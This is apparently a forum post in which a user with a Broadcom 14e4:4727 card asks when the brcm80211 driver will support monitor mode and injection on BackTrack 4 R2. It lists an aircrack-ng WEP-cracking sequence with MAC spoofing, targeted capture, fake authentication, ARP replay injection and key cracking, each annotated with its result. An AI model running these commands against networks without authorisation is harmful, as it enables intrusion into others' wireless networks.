I have the 14e4:4727 and using the brcm80211, this is an example of what I get and the status of each commands:

airmon-ng #ok
airmon-ng stop wlan0 #ok
ifconfig wlan0 #ok
macchanger --mac yy:yy:yy:yy:yy:yy wlan0 #ok
airmon-ng start wlan0 #ok
airodump-ng mon0 #ok
airodump-ng -c canal -w nomarch --bssid xx:xx:xx:xx:xx:xx mon0 #ok, no datas

other terminal:
aireplay-ng -1 0 -a xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy mon0 #ok, autentication succesful
aireplay-ng -3 -b xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy mon0 #ok, supose to increment datas but NOP!!!

other terminal:
aircrack-ng -b xx:xx:xx:xx:xx:xx nomarch.cap #ok, no datas...

So... when do you think that the brcm80211 implemetation will be ready to capture datas?

It will be perfect if you support monitor and inject of this driver on the Bactrack 4 R2...